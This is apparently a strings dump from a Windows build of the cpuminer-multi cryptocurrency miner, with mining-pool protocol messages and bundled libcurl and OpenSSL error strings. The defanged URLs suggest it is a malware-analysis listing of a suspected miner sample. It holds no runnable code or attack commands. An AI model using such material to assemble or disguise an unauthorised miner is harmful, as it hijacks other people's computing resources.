Switching to getwork, gbt version %d
...terminating workio thread
Unrecognized block version: %u
...retry after %d seconds
%s block %d, diff %.3f
%s %s block %d
%s asks job %d for block %d
built with VC   %d
jansson/%s
pthreads/%d.%d.%d.%d
Unknown algo parameter '%s'
incorrect Nfactor %d
%s:%d: %s
accepted: %lu/%lu (%s), %s H/s %s
accepted: %lu/%lu (%s), %s kH/s %s
reject reason: %s
hXXp://
hXXps://
stratum tcp://
unknown protocol -- '%s'
invalid URL -- '%s'
hXXp://%s
invalid username:password pair -- '%s'
block %u was already solved
{"method": "submit", "params": {"id": "%s", "job_id": "%s", "nonce": "%s", "result": "%s"}, "id":4}
invalid address -- '%s'
{"method": "mining.submit", "params": ["%s", "%s", "%s", "%s", "%s"], "id":4}
{"method": "submitblock", "params": ["%s%s", %s], "id":4}
{"method": "submitblock", "params": ["%s%s"], "id":4}
JSON option %s invalid
{"method": "submit", "params": {"id": "%s", "job_id": "%s", "nonce": "%s", "result": "%s"},"id":4}
%s: unsupported non-option argument -- '%s'
{"method": "getwork", "params": ["%s"], "id":4}
127.0.0.1
{"method": "getblocktemplate", "params": [{"capabilities": ["coinbasetxn", "coinbasevalue", "longpoll", "workid"], "longpollid": "%s"}], "id":0}
Using config %s
CPU Supports AES-NI: %s
%s: no URL supplied
%s:%s
https:
json_rpc_call failed, retry after %d seconds
Binding process to cpu mask %x
{"method": "login", "params": {"login": "%s", "pass": "%s", "agent": "%s"}, "id": 1}
thread %d create failed
DEBUG: authenticated in %d ms
%d miner threads started, using '%s' algorithm.
%ss%s: %s
http%s
Stratum connection failed: %s
mining.notify
Stratum set nonce %s with extranonce2 size=%d
{"id": 1, "method": "mining.subscribe", "params": []}
{"id": 1, "method": "mining.subscribe", "params": ["cpuminer-multi/1.3", "%s"]}
{"id": 1, "method": "mining.subscribe", "params": ["cpuminer-multi/1.3"]}
JSON-RPC call failed: %s
Stratum session id: %s
{"id": 2, "method": "mining.authorize", "params": ["%s", "%s"]}
{"id": 3, "method": "mining.extranonce.subscribe", "params": []}
Auth id: %s
JSON returned status "%s"
rpc2_login_decode
%s: fail
json_rpc2.0 error: %s
[%d-d-d d:d:d]%s %s%s
%s\cpuminer\cpuminer-conf.json
%s%scpuminer-conf.json
%.2f %cH/s
%.2f H/s%c
stratum tcp://%s:%d
Ignoring request to reconnect to %s
Server requested reconnection to %s
MSVC %d
sharing CPU stats with freq %s
{"id":%d,"result":"pong","error":null}
HTTP request failed: %s
MESSAGE FROM SERVER: %s
mining.ping
http_proxy
mining.set_difficulty
mining.set_extranonce
client.reconnect
client.get_algo
client.get_stats
Remote config read failed: %s
client.get_version
client.show_message
unknown stratum method %s!
hex2bin failed on '%s'
xxxx
%sxxxx
JSON key '%s' not found
JSON key '%s' is not a string
%s %s
DEBUG: %s
Hash: %s
Target: %s
libcurl/7.38.0
zlib/%s
https
7.38.0
Curl_poll(%d ds, %d ms)
Pipe broke: handle 0x%p, url = %s
In state %d with no easy_conn, bail out!
Operation timed out after %ld milliseconds with %lld out of %lld bytes received
Operation timed out after %ld milliseconds with %lld bytes received
Internal error clearing splay node = %d
Internal error removing splay node = %d
rcmd
CURLOPT_SSL_VERIFYHOST no longer supports 1 as value!
Found bundle for host %s: %p
Server doesn't support pipelining
Connected to %s (%s) port %ld (#%ld)
IDN support not present, can't parse Unicode domains
Protocol "%s" not supported or disabled in libcurl
[^:]:%[^
:]://%[^
<url> malformed
SMTP.
smtp
Rebuilt URL to: %s
Please URL encode %% as %%, see RFC 6874.
[%*45[0123456789abcdefABCDEF:.]%c
IPv6 numerical address used in URL without brackets
;type=%c
%s://%s%s%s:%hu%s%s%s
Port number out of range
Couldn't find host %s in the _netrc file; using defaults
PTF@example.com
Couldn't resolve host '%s'
Couldn't resolve proxy '%s'
%s://%s
Found connection %ld, with requests in the pipe (%zu)
Re-using existing connection! (#%ld) with host %s
User-Agent: %s
Connection #%ld to host %s left intact
Failed to set SO_KEEPALIVE on fd %d
Failed to set SIO_KEEPALIVE_VALS on fd %d: %d
Couldn't bind to interface '%s'
Local Interface %s is ip %s using address family %i
Name '%s' family %i resolved to '%s' family %i
Couldn't bind to '%s'
getsockname() failed with errno %d: %s
Local port: %hu
Bind to local port %hu failed, trying next
bind failed with errno %d: %s
getpeername() failed with errno %d: %s
ssrem inet_ntop() failed with errno %d: %s
ssloc inet_ntop() failed with errno %d: %s
connect to %s port %ld failed: %s
Failed to connect to %s port %ld: %s
Could not set TCP_NODELAY: %s
TCP_NODELAY set
sa_addr inet_ntop() failed with errno %d: %s
Trying %s...
Immediate connect fail for %s: %s
Hostname was %sfound in DNS cache
%5[^:]:%d:%5s
Resolve %s found illegal!
Added %s:%d:%s to DNS cache
Could not resolve %s: %s
init_resolve_thread() failed for %s; %s
getaddrinfo() failed for %s:%d; %s
Send failure: %s
Recv failure: %s
Write callback asked for PAUSE when not supported!
[%s %s %s]
23[^;
=]=I99[^;
httponly
skipped cookie with bad tailmatch domain: %s
#HttpOnly_
%s cookie %s="%s" for domain %s, path %s, expire %lld
# Netscape HTTP Cookie File
# hXXp://curl.haxx.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
# Fatal libcurl error
WARNING: failed to save cookies in %s
security.dll
secur32.dll
libcurl is now using a weak random seed!
unable to use client certificate (no key found or wrong pass phrase?)
file type ENG for certificate not implemented
file type P12 for certificate not supported
not supported file type '%s' for certificate
unable to set private key file: '%s' type %s
file type ENG for private key not supported
file type P12 for private key not supported
not supported file type for private key
Private key does not match the certificate public key
SSL Engine not supported
SSL read: %s, errno %d
select/poll on SSL socket, errno: %d
d-d-d d:d:d %s
subjectAltName: %s matched
subjectAltName does not match %s
Client key
SSL: no alternative certificate subject name matches target host name '%s'
..\..\curl\lib\vtls\openssl.c
SSL: illegal cert name field
SSL: unable to obtain common name from peer certificate
Client CERT
SSL: certificate subject name '%s' does not match target host name '%s'
common name: %s (matched)
Request CERT
CERT
Server key exchange
Client key exchange
CERT verify
SSLv%c, %s%s (%d):
OpenSSL was built without SSLv2 support
SSL: couldn't create a context: %s
Unsupported SSL protocol version
ALL!EXPORT!EXPORT40!EXPORT56!aNULL!LOW!RC4
failed setting cipher list: %s
error setting certificate verify locations:
CAfile: %s
CApath: %s
error setting certificate verify locations, continuing anyway:
successfully set certificate verify locations:
error loading CRL file: %s
CRLfile: %s
SSL: SSL_set_session failed: %s
SSL: SSL_set_fd failed: %s
SSL certificate problem: %s
SSL certificate problem, verify that the CA cert is OK.
Unknown SSL protocol error in connection to %s:%ld
SSL connection using %s / %s
%s(%s)
x:
%s: %s
%s: %s
Signature: %s
Cert
--- Certificate chain
- Subject: %s
Issuer: %s
x%c
Serial Number: %s
Signature Algorithm: %s
Start date: %s
Expire date: %s
Public Key Algorithm: %s
Public Key Algorithm
Unable to load public key
RSA Public Key (%d bits)
RSA Public Key
priv_key
pub_key
SSL: couldn't get peer certificate!
Server certificate:
subject: %s
start date: %s
expire date: %s
issuer: %s
SSL: Unable to open issuer cert (%s)
SSL: Unable to read issuer cert (%s)
SSL: Certificate issuer check failed (%s)
SSL certificate issuer check ok (%s)
SSL certificate verify result: %s (%ld)
SSL certificate verify result: %s (%ld), continuing anyway.
SSL certificate verify ok.
SSL_write() returned SYSCALL, errno = %d
SSL_write() error: %s
SSL_write() return error %d
%s/%lx.%lx.%lx%s
--:--:--
%3lld %s %3lld %s %3lld %s %s %s %s %s %s %s
Conn: %ld (%p) Receive pipe weight: (%lld/%zu), penalized: %s
Site %s:%d is pipeline blacklisted
Server %s is blacklisted
Server %s is not blacklisted
operation aborted by callback
Read callback asked for PAUSE when not supported!
seek callback returned error %d
the ioctl callback returned %d
ioctl callback returned error %d
Rewinding stream by : %zd bytes on url %s (zero-length body)
Excess found in a non pipelined read: excess = %zd url = %s (zero-length body)
HTTP server doesn't seem to support byte ranges. Cannot resume.
Simulate a HTTP 304 response!
%s in chunked-encoding
Rewinding stream by : %zu bytes on url %s (size = %lld, maxdownload = %lld, bytecount = %lld, nread = %zd)
Excess found in a non pipelined read: excess = %zu, size = %lld, maxdownload = %lld, bytecount = %lld
Unrecognized content encoding type. libcurl understands `identity', `deflate' and `gzip' content encodings.
No URL set!
[^?&/:]://%c
Issue another request to this URL: '%s'
Disables POST, goes with %s
HTTPS
%sAuthorization: Basic %s
The requested URL returned error: %d
%s auth using %s with user '%s'
%s, d %s M d:d:d GMT
If-Modified-Since: %s
If-Unmodified-Since: %s
Last-Modified: %s
Referer: %s
Accept-Encoding: %s
%s, TE
Chunky upload is not supported by HTTP 1.0
Host: %s%s%s
Host: %s%s%s:%hu
PTF://
Range: bytes=%s
Content-Range: bytes %s%lld/%lld
Content-Range: bytes %s/%lld
PTF://%s:%s@%s
%s HTTP/%s
%s%s%s%s%s%s%s%s%s%s%s
%s%s=%s
Internal HTTP POST error!
Content-Type: application/x-www-form-urlencoded
Failed sending HTTP POST request
Failed sending HTTP request
HTTP/
Avoided giant realloc for header (max is %d)!
The requested URL returned error: %s
HTTP error before end of send, stop sending
HTTP/%d.%d =
HTTP =
RTSP/%d.%d =
HTTP 1.0, assume close after body
HTTP/1.0 proxy connection set to keep alive!
HTTP/1.1 proxy connection set close!
HTTP/1.0 connection set to keep alive!
Operation too slow. Less than %ld bytes/sec transferred the last %ld seconds
xxxx
%s:%.*s
%s:%s:x:%s:%s:%s
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%.*s", cnonce="%s", nc=x, qop=%s, response="%s"
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%.*s", response="%s"
%s, opaque="%s"
%s, algorithm="%s"
SOCKS4 communication to %s:%d
SOCKS4 connect to %s (locally resolved)
Failed to resolve "%s" for SOCKS4 connect.
SOCKS4%s request granted.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.
User was rejected by the SOCKS5 server (%d %d).
No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)
Failed to resolve "%s" for SOCKS5 connect.
Can't complete SOCKS5 connection to %d.%d.%d.%d:%d. (%d)
Can't complete SOCKS5 connection to %s:%d. (%d)
Can't complete SOCKS5 connection to xx:xx:xx:xx:xx:xx:xx:xx:%d. (%d)
login
password
%%X
Establish HTTP proxy tunnel to %s:%hu
%s:%hu
%s%s%s:%hu
Host: %s
CONNECT %s HTTP/%s
%s%s%s%s
HTTP/1.%d %d
TUNNEL_STATE switched to: %d
Received HTTP code %d from proxy after CONNECT
%sAuthorization: NTLM %s
%d.%d.%d.%d
Unsupported protocol
URL using bad/illegal format or missing URL
A requested feature, protocol or option was not found built-in in this libcurl due to a build-time decision.
FTP: weird server reply
FTP: The server failed to connect to data port
FTP: Accepting server connect has timed out
FTP: The server did not accept the PRET command.
FTP: unknown PASS reply
FTP: unknown PASV reply
FTP: unknown 227 response format
FTP: can't figure out the host in the PASV response
Error in the HTTP2 framing layer
FTP: couldn't set file type
FTP: couldn't retrieve (RETR failed) the specified file
HTTP response code said error
FTP: command PORT failed
FTP: command REST failed
Operation was aborted by an application callback
A libcurl function was given a bad argument
An unknown option was passed in to libcurl
SSL peer certificate or SSH remote key was not OK
Problem with the local SSL certificate
Problem with the SSL CA cert (path? access rights?)
Peer certificate cannot be authenticated with given CA certificates
Unrecognized or bad HTTP Content or Transfer-Encoding
Invalid LDAP URL
Issuer check against peer certificate failed
Login denied
TFTP: File Not Found
TFTP: Access Violation
TFTP: Illegal operation
TFTP: Unknown transfer ID
TFTP: No such user
Caller must register CURLOPT_CONV_ callback options
Error in the SSH layer
Unable to parse FTP file list
Please call curl_multi_perform() soon
CURLSHcode unknown
Protocol option is unsupported
Protocol is unsupported
Socket is unsupported
Operation not supported
Address family not supported
Protocol family not supported
Winsock version not supported
Unknown error %d (%#x)
SEC_E_CERT_EXPIRED
SEC_E_CERT_UNKNOWN
SEC_E_CERT_WRONG_USAGE
SEC_E_KDC_CERT_EXPIRED
SEC_E_KDC_CERT_REVOKED
SEC_E_NO_KERB_KEY
SEC_E_NO_S4U_PROT_SUPPORT
SEC_E_QOP_NOT_SUPPORTED
SEC_E_SMARTCARD_CERT_EXPIRED
SEC_E_SMARTCARD_CERT_REVOKED
SEC_E_STRONG_CRYPTO_NOT_SUPPORTED
SEC_E_UNSUPPORTED_FUNCTION
SEC_E_UNSUPPORTED_PREAUTH
%s (0xXX)
%s - %s
d:d:d
d:d
Error while processing content unencoding: %s
1.2.8
1.2.0.4
%sAuthorization: Negotiate %s
.jpeg
.html
; filename="%s"
%s; boundary=%s
Content-Type: multipart/mixed; boundary=%s
Content-Type: %s
couldn't open file "%s"
--%s--
------------------------xx
SSPI error: %s failed: %s
%s/%s
User was rejected by the SOCKS5 server (%u %u).
Invalid SSPI authentication response type (%u %u).
SOCKS5 server authencticated user %s with GSS-API.
SOCKS5 server supports GSS-API %s data protection.
Invalid SSPI encryption response type (%u %u).
SOCKS5 access with%s protection granted.
OpenSSL 1.0.1e 11 Feb 2013
x509 certificate routines
DSO support routines
passed a null parameter
error:lX:%s:%s:%s
unable to get issuer certificate
unable to get certificate CRL
unable to decrypt certificate's signature
unable to decode issuer public key
certificate signature failure
certificate is not yet valid
certificate has expired
format error in certificate's notBefore field
format error in certificate's notAfter field
self signed certificate
self signed certificate in certificate chain
unable to get local issuer certificate
unable to verify the first certificate
certificate chain too long
certificate revoked
invalid CA certificate
invalid non-CA certificate (has CA markings)
proxy certificates not allowed, please set the appropriate flag
unsupported certificate purpose
certificate not trusted
certificate rejected
authority and subject key identifier mismatch
key usage does not include certificate signing
unable to get CRL issuer certificate
key usage does not include CRL signing
key usage does not include digital signature
invalid or inconsistent certificate extension
invalid or inconsistent certificate policy extension
Unsupported extension feature
name constraints minimum and maximum not supported
unsupported name constraint type
unsupported or invalid name constraint syntax
unsupported or invalid name syntax
\X
EXPORT
EXPORT40
EXPORT56
export
%-23s %s Kx=%-8s Au=%-4s Enc=%-9s Mac=%-4s%s
d.otherName
d.rfc822Name
d.dNSName
d.directoryName
d.ediPartyName
d.uniformResourceIdentifier
d.iPAddress
d.registeredID
openssl.cnf
CERTIFICATE
%*s%s
%*s%s:
%*s<Not Supported>
%s algorithm "%s" unsupported
Public Key
Private Key
cert_info
OPENSSL_ALLOW_PROXY_CERTS
Certificate:
%8sVersion: %lu (0x%lx)
%s%lu (%s0x%lx)
s%s
Issuer:%c
Subject:%c
Subject Public Key Info:
sPublic Key Algorithm:
sUnable to load Public Key
Public key OCSP hash:
x%s
%s - d:d:d%.*s %d%s
%s - d:d:d %d%s
os.length <= (int)sizeof(ret->session_id)
Enter PEM pass phrase:
phrase is too short, needs to be at least %d chars
ANY PRIVATE KEY
ENCRYPTED PRIVATE KEY
PRIVATE KEY
X509 CERTIFICATE
NEW CERTIFICATE REQUEST
CERTIFICATE REQUEST
TRUSTED CERTIFICATE
..\..\openssl\openssl\crypto\engine\eng_pkey.c
x509_pkey
evp_pkey
ssl_cert
ssl_sess_cert
%s(%d): OpenSSL internal error, assertion failed: %s
..\..\openssl\openssl\ssl\ssl_cert.c
dhKeyAgreement
challengePassword
extendedCertificateAttributes
nsCertExt
Netscape Certificate Extension
nsCertType
Netscape Cert Type
nsBaseUrl
Netscape Base Url
nsRevocationUrl
Netscape Revocation Url
nsCaRevocationUrl
Netscape CA Revocation Url
nsRenewalUrl
Netscape Renewal Url
nsCaPolicyUrl
Netscape CA Policy Url
nsCertSequence
Netscape Certificate Sequence
subjectKeyIdentifier
X509v3 Subject Key Identifier
keyUsage
X509v3 Key Usage
privateKeyUsagePeriod
X509v3 Private Key Usage Period
certificatePolicies
X509v3 Certificate Policies
authorityKeyIdentifier
X509v3 Authority Key Identifier
extendedKeyUsage
X509v3 Extended Key Usage
TLS Web Server Authentication
TLS Web Client Authentication
pbeWithSHA1And3-KeyTripleDES-CBC
pbeWithSHA1And2-KeyTripleDES-CBC
keyBag
pkcs8ShroudedKeyBag
certBag
localKeyID
x509Certificate
sdsiCertificate
id-smime-mod-msg-v3
id-smime-ct-publishCert
id-smime-aa-msgSigDigest
id-smime-aa-encrypKeyPref
id-smime-aa-signingCertificate
id-smime-aa-smimeEncryptCerts
id-smime-aa-ets-otherSigCert
id-smime-aa-ets-CertificateRefs
id-smime-aa-ets-certValues
id-smime-aa-ets-certCRLTimestamp
id-mod-qualified-cert-88
id-mod-qualified-cert-93
id-mod-attribute-cert
id-it-caProtEncCert
id-it-signKeyPairTypes
id-it-encKeyPairTypes
id-it-caKeyUpdateInfo
id-it-unsupportedOIDs
id-it-keyPairParamReq
id-it-keyPairParamRep
id-it-revPassphrase
id-regCtrl-oldCertID
id-regCtrl-protocolEncrKey
id-regInfo-certReq
id-cmc-getCert
id-cmc-confirmCertAcceptance
id-ecPublicKey
set-msgExt
set-certExt
certificate extensions
setct-AcqCardCodeMsg
setct-PCertReqData
setct-PCertResTBS
setct-CertReqData
setct-CertReqTBS
setct-CertResData
setct-CertInqReqTBS
setct-AcqCardCodeMsgTBE
setct-CertReqTBE
setct-CertReqTBEX
setct-CertResTBE
setCext-certType
setCext-cCertRequired
setAttr-Cert
set-rootKeyThumb
JOINT-ISO-ITU-T
joint-iso-itu-t
msSmartcardLogin
Microsoft Smartcardlogin
proxyCertInfo
Proxy Certificate Information
certicom-arc
certificateIssuer
X509v3 Certificate Issuer
id-PasswordBasedMAC
password based MAC
id-Gost28147-89-CryptoPro-KeyMeshing
id-Gost28147-89-None-KeyMeshing
LocalKeySet
Microsoft Local Key set
supportedApplicationContext
userPassword
userCertificate
cACertificate
certificateRevocationList
crossCertificatePair
supportedAlgorithms
anyExtendedKeyUsage
Any Extended Key Usage
s->init_num == (int)s->d1->w_msg_hdr.msg_len   DTLS1_HM_HEADER_LENGTH
((long)msg_hdr->msg_len) > 0
invalid state reached %s:%d
s->d1->w_msg_hdr.msg_len   ((s->version==DTLS1_VERSION)?DTLS1_CCS_HEADER_LENGTH:3) == (unsigned int)s->init_num
s->d1->w_msg_hdr.msg_len   DTLS1_HM_HEADER_LENGTH == (unsigned int)s->init_num
retransmit: message %d non-existant
certs
issuerKeyHash
OCSP_CERTID
reqCert
value.byName
value.byKey
value.good
value.revoked
value.unknown
OCSP_CERTSTATUS
certId
certStatus
crlUrl
You need to read the OpenSSL FAQ, hXXp://VVV.openssl.org/support/faq.html
[d:d:d]
%5lu file=%s, line=%d,
number=%d, address=lX
thread=%lu, file=%s, line=%d, info="
%ld bytes leaked in %d chunks
..\..\openssl\openssl\crypto\dh\dh_key.c
..\..\openssl\openssl\crypto\ec\ec_key.c
priv [ %d ]
cont [ %d ]
appl [ %d ]
<ASN1 %d>
'() ,-./:=?
ssl/certs
ssl/cert.pem
SSL_CERT_DIR
SSL_CERT_FILE
RSA PRIVATE KEY
DSA PRIVATE KEY
EC PRIVATE KEY
RSA PUBLIC KEY
PUBLIC KEY
CERTIFICATE PAIR
..\..\openssl\openssl\crypto\pem\pem_pkey.c
%s PRIVATE KEY
%s PARAMETERS
public_key
X509_PUBKEY
..\..\openssl\openssl\crypto\asn1\x_pubkey.c
x -
%sx - <SPACES/NULS>
PROXY_CERT_INFO_EXTENSION
Key Compromise
keyCompromise
Cessation Of Operation
cessationOfOperation
Certificate Hold
certificateHold
name.fullname
name.relativename
%*sOnly User Certificates
%*sOnly CA Certificates
%*sOnly Attribute Certificates
value.set
value.single
s->session->master_key_length >= 0 && s->session->master_key_length < (int)sizeof(s->session->master_key)
keyid
X509_CERT_AUX
X509_CERT_PAIR
AUTHORITY_KEYID
%d.%d.%d.%d/%d.%d.%d.%d
CLIENT_CERTIFICATE
CLIENT_MASTER_KEY
DTLS1_ADD_CERT_TO_BUF
DTLS1_OUTPUT_CERT_CHAIN
DTLS1_SEND_CERTIFICATE_REQUEST
DTLS1_SEND_CLIENT_CERTIFICATE
DTLS1_SEND_CLIENT_KEY_EXCHANGE
DTLS1_SEND_SERVER_CERTIFICATE
DTLS1_SEND_SERVER_KEY_EXCHANGE
GET_CLIENT_MASTER_KEY
REQUEST_CERTIFICATE
SSL2_GENERATE_KEY_MATERIAL
SSL2_SET_CERTIFICATE
SSL3_ADD_CERT_TO_BUF
SSL3_CHECK_CERT_AND_ALGORITHM
SSL3_GENERATE_KEY_BLOCK
SSL3_GET_CERTIFICATE_REQUEST
SSL3_GET_CERT_STATUS
SSL3_GET_CERT_VERIFY
SSL3_GET_CLIENT_CERTIFICATE
SSL3_GET_CLIENT_KEY_EXCHANGE
SSL3_GET_KEY_EXCHANGE
SSL3_GET_SERVER_CERTIFICATE
SSL3_OUTPUT_CERT_CHAIN
SSL3_SEND_CERTIFICATE_REQUEST
SSL3_SEND_CLIENT_CERTIFICATE
SSL3_SEND_CLIENT_KEY_EXCHANGE
SSL3_SEND_SERVER_CERTIFICATE
SSL3_SEND_SERVER_KEY_EXCHANGE
SSL3_SETUP_KEY_BLOCK
SSL_add_dir_cert_subjects_to_stack
SSL_add_file_cert_subjects_to_stack
SSL_CERT_DUP
SSL_CERT_INST
SSL_CERT_INSTANTIATE
SSL_CERT_NEW
SSL_check_private_key
SSL_CHECK_SRVR_ECC_CERT_AND_ALG
SSL_CTX_check_private_key
SSL_CTX_set_client_cert_engine
SSL_CTX_use_certificate
SSL_CTX_use_certificate_ASN1
SSL_CTX_use_certificate_chain_file
SSL_CTX_use_certificate_file
SSL_CTX_use_PrivateKey
SSL_CTX_use_PrivateKey_ASN1
SSL_CTX_use_PrivateKey_file
SSL_CTX_use_RSAPrivateKey
SSL_CTX_use_RSAPrivateKey_ASN1
SSL_CTX_use_RSAPrivateKey_file
SSL_GET_SERVER_SEND_CERT
SSL_GET_SERVER_SEND_PKEY
SSL_GET_SIGN_PKEY
SSL_SESS_CERT_NEW
SSL_SET_CERT
SSL_SET_PKEY
SSL_use_certificate
SSL_use_certificate_ASN1
SSL_use_certificate_file
SSL_use_PrivateKey
SSL_use_PrivateKey_ASN1
SSL_use_PrivateKey_file
SSL_use_RSAPrivateKey
SSL_use_RSAPrivateKey_ASN1
SSL_use_RSAPrivateKey_file
SSL_VERIFY_CERT_CHAIN
tls1_cert_verify_mac
TLS1_EXPORT_KEYING_MATERIAL
TLS1_SETUP_KEY_BLOCK
bad dh pub key length
bad ecc cert
certificate verify failed
cert length mismatch
ecc cert not for key agreement
ecc cert not for signing
ecc cert should have rsa signature
ecc cert should have sha1 signature
error generating tmp rsa key
https proxy request
http request
invalid ticket keys length
key arg too long
krb5 server rd_req (keytab perms?)
missing dh dsa cert
missing dh key
missing dh rsa cert
missing dsa signing cert
missing export tmp dh key
missing export tmp rsa key
missing rsa certificate
missing rsa encrypting cert
missing rsa signing cert
missing tmp dh key
missing tmp ecdh key
missing tmp rsa key
missing tmp rsa pkey
no certificates returned
no certificate assigned
no certificate returned
no certificate set
no certificate specified
no ciphers passed
no client cert method
no client cert received
Peer haven't sent GOST certificate, required for selected ciphersuite
no privatekey
no private key assigned
no publickey
null ssl method passed
peer did not return a certificate
peer error certificate
peer error no certificate
peer error unsupported certificate type
public key encrypt error
public key is not rsa
public key not rsa
reuse cert length not zero
reuse cert type not zero
signature for non signing certificate
sslv3 alert bad certificate
sslv3 alert certificate expired
sslv3 alert certificate revoked
sslv3 alert certificate unknown
sslv3 alert no certificate
sslv3 alert unsupported certificate
tlsv1 alert export restriction
tlsv1 bad certificate hash value
tlsv1 bad certificate status response
tlsv1 certificate unobtainable
tlsv1 unsupported extension
tls client cert req with anon cipher
tls illegal exporter label
tls peer did not respond with certificate list
tried to use unsupported cipher
unable to decode dh certs
unable to decode ecdh certs
unable to extract public key
unable to find public key parameters
unknown certificate type
unknown key exchange type
unknown pkey type
unsupported cipher
unsupported compression algorithm
unsupported digest type
unsupported elliptic curve
unsupported protocol
unsupported ssl version
unsupported status type
wrong number of key bits
ddddddZ
ddddddZ
%*sAlias: %s
%*sKey Id:
%sX
%lu:%s:%s:%d:%s
nkey <= EVP_MAX_KEY_LENGTH
..\..\openssl\openssl\crypto\evp\evp_key.c
j <= (int)sizeof(ctx->key)
len>=0 && len<=(int)sizeof(ctx->key)
key expansion
client write key
server write key
%s:%d: rec->data != rec->input
bn(%d,%d)
Load certs from files in a directory
%slx.%s%d
%s%clx.%s%d
l}C.we
xxxxxxxx
ADVAPI32.DLL
KERNEL32.DLL
NETAPI32.DLL
USER32.DLL
hexkey
rsa_keygen_bits
rsa_keygen_pubexp
p.other
p.onBasis
p.tpBasis
p.ppBasis
p.prime
p.char_two
value.named_curve
value.parameters
value.implicitlyCA
privateKey
publicKey
EC_PRIVATEKEY
d.other
d.data
d.sign
d.enveloped
d.signed_and_enveloped
d.digest
d.encrypted
key_enc_algor
enc_key
..\..\openssl\openssl\crypto\evp\evp_pkey.c
pkeyalg
pkey
PKCS8_PRIV_KEY_INFO
pubkey
..\..\openssl\openssl\crypto\asn1\x_pkey.c
NETSCAPE_CERT_SEQUENCE
Private-Key: (%d bit)
Public-Key: (%d bit)
Private-Key
Public-Key
%s: (%d bit)
PKCS#3 DH Private-Key
PKCS#3 DH Public-Key
private-key:
public-key:
recommended-private-length: %d bits
[%s] %s=%s
[[%s]]
%*scrlUrl:
CERTIFICATEPOLICIES
d.cpsuri
d.usernotice
%*sCPS: %s
%*sOrganization: %s
%*sNumber%s:
%*sExplicit Text: %s
Key Encipherment
keyEncipherment
Key Agreement
keyAgreement
Certificate Sign
keyCertSign
EXTENDED_KEY_USAGE
<unsupported>
othername:<unsupported>
X400Name:<unsupported>
EdiPartyName:<unsupported>
email:%s
DNS:%s
URI:%s
IP Address:%d.%d.%d.%d
%*sZone: %s, User:
..\..\openssl\openssl\crypto\x509v3\v3_akey.c
%*sPolicy Text: %s
PKEY_USAGE_PERIOD
..\..\openssl\openssl\crypto\x509v3\v3_skey.c
des(%s,%s,%s,%s)
s->s2->key_material_length <= sizeof s->s2->key_material
c->iv_len <= (int)sizeof(s->session->key_arg)
ECDH_compute_key
zlib not supported
d2i_AutoPrivateKey
d2i_PrivateKey
d2i_PublicKey
d2i_X509_PKEY
i2d_DSA_PUBKEY
i2d_EC_PUBKEY
i2d_PrivateKey
i2d_PublicKey
i2d_RSA_PUBKEY
X509_PKEY_new
bad password read
digest and key type not supported
private key header missing
streaming not supported
unable to decode rsa key
unable to decode rsa private key
unknown public key type
unsupported any defined by type
unsupported encryption algorithm
unsupported public key type
unsupported type
wrong public key type
PKCS7_add_certificate
certificate verify error
decrypted key is wrong length
encryption not supported for this key type
no recipient matches certificate
no recipient matches key
operation not supported on this type
private key does not match certificate
signer certificate not found
signing not supported for this key type
unable to find certificate
unknown operation
unsupported cipher type
unsupported content type
COMPUTE_KEY
DH_compute_key
DH_generate_key
GENERATE_KEY
PKEY_DH_DERIVE
PKEY_DH_KEYGEN
invalid public key
keys not set
key size too small
CMS_add0_recipient_key
CMS_add0_cert
CMS_add0_recipient_password
CMS_add1_recipient_cert
CMS_decrypt_set1_key
CMS_decrypt_set1_password
CMS_decrypt_set1_pkey
CMS_EncryptedData_set1_key
CMS_GET0_CERTIFICATE_CHOICES
cms_msgSigDigest_add1
CMS_RecipientInfo_ktri_cert_cmp
CMS_RecipientInfo_set0_key
CMS_RecipientInfo_set0_password
CMS_RecipientInfo_set0_pkey
CMS_SIGNERINFO_VERIFY_CERT
certificate already present
certificate has no keyid
error getting public key
error setting key
invalid encrypted key length
invalid key encryption parameter
invalid key length
msgsigdigest error
msgsigdigest verification failure
msgsigdigest wrong length
not key transport
not supported for this key type
no key
no key or cert
no msgsigdigest
no password
no private key
no public key
unsupported kek algorithm
unsupported key encryption algorithm
unsupported recipient type
unsupported recpientinfo type
d2i_ECPrivateKey
DO_EC_KEY_PRINT
ECKEY_PARAM2TYPE
ECKEY_PARAM_DECODE
ECKEY_PRIV_DECODE
ECKEY_PRIV_ENCODE
ECKEY_PUB_DECODE
ECKEY_PUB_ENCODE
ECKEY_TYPE2PARAM
EC_KEY_check_key
EC_KEY_copy
EC_KEY_generate_key
EC_KEY_new
EC_KEY_print
EC_KEY_print_fp
EC_KEY_set_public_key_affine_coordinates
i2d_ECPrivateKey
i2o_ECPublicKey
o2i_ECPublicKey
PKEY_EC_CTRL
PKEY_EC_CTRL_STR
PKEY_EC_DERIVE
PKEY_EC_KEYGEN
PKEY_EC_PARAMGEN
PKEY_EC_SIGN
gf2m not supported
invalid private key
missing private key
not a supported NIST prime
passed null parameter
unsupported field
BIO_get_port
no accept port specified
no port defined
no port specified
unsupported method
R2I_CERTPOL
S2I_ASN1_SKEY_ID
S2I_SKEY_ID
V2I_AUTHORITY_KEYID
V2I_EXTENDED_KEY_USAGE
extension setting not supported
no issuer certificate
no proxy cert policy language defined
operation not defined
policy syntax not currently supported
unable to get issuer keyid
unsupported option
ENGINE_cmd_is_executable
ENGINE_ctrl_cmd
ENGINE_ctrl_cmd_string
ENGINE_get_pkey_asn1_meth
ENGINE_get_pkey_meth
ENGINE_load_private_key
ENGINE_load_public_key
ENGINE_load_ssl_client_cert
ENGINE_UNLOAD_KEY
cmd not executable
failed loading private key
failed loading public key
invalid cmd name
invalid cmd number
unimplemented public key method
ADD_CERT_DIR
GET_CERT_BY_SUBJECT
X509_check_private_key
X509_get_pubkey_parameters
X509_load_cert_crl_file
X509_load_cert_file
X509_PUBKEY_get
X509_PUBKEY_set
X509_REQ_check_private_key
X509_STORE_add_cert
X509_verify_cert
cant check dh key
cert already in hash table
key type mismatch
key values mismatch
loading cert dir
method not supported
no cert set for us to verify
public key decode error
public key encode error
